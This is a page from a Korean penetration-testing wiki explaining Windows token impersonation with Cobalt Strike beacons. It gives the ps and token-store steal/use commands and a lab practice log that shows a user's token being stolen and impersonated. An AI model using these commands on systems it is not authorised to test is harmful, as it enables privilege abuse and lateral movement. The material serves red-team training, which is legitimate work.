펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Ticket
      • DC Shadow
      • RID Hijacking
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Ticket
      • KrbRelayUp
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxyfier
      • Remote Port Forwarding
    • NTLM Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
    • Tools
      • Cobalt Strike
      • BloodHound
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page

Was this helpful?

Export as PDF

Token Impersonation

Windows에서 관리자 그룹 혹은 System 권한은 SeDebugPrivilege 권한을 기본적으로 갖습니다. 해당 권한이 없는 사용자의 경우 일반적으로 다른 사용자가 같은 머신에서 실행 중인 프로세스에 대해 알 수 있는 경로가 없지만, 권한이 있는 경우 다른 사용자가 실행 중인 프로세스를 식별할 수 있습니다. 비콘에서 steal_token 명령은 특정 프로세스를 실행하는 주체의 토큰을 훔쳐서 가장하는 공격인데, 만약 ps 등의 명령어로 다른 사용자의 프로세스 리스트를 식별할 수가 있다면 ps 명령 하나로도 다른 사용자로 가장하는 것이 언제든 가능하다는 것을 의미합니다.

# 사용자 프로세스 리스트 열거
beacon> ps

# PID를 통해 사용자 토큰 탈취 및 가장
beacon> token-store steal <PID>

단, 언급한 것과 같이 이렇게 토큰을 통한 사용자 가장을 위해서는 높은 권한이 요구됩니다. 또한 프로세스를 실행하는 주체의 토큰을 훔치는 것이기 때문에, 주체가 프로세스를 종료한다면 토큰이 만료되며 가장 또한 불가능하게 됩니다.코발트 스트라이크 4.8부터는 token-store 기능을 도입하여 훔친 토큰을 토큰 저장소에 저장할 수 있습니다.

Practice

# 실행 중인 프로세스 목록 열거
[05/04 14:17:48] beacon> ps
...
 4696  8                 notepad.exe                    x64   0           DEV\pentesting
...

# PID를 통한 토큰 탈취
[05/04 14:18:29] beacon> token-store steal 4696
[05/04 14:18:29] [*] Tasked beacon to steal token from PID(s) 4696
[05/04 14:18:30] [+] host called home, sent: 24 bytes
[05/04 14:18:30] [*] Stored Tokens

 ID   PID   User
 --   ---   ----
 1    4696  DEV\pentesting
 
# 탈취한 토큰 사용
[05/04 14:19:33] beacon> token-store use 1
[05/04 14:19:33] [*] Tasked beacon to use the token with ID 1 from the token store
[05/04 14:19:34] [+] host called home, sent: 16 bytes
[05/04 14:19:34] [+] Impersonated DEV\pentesting
PreviousOverpass the HashNextMake Token

Last updated 4 days ago

Was this helpful?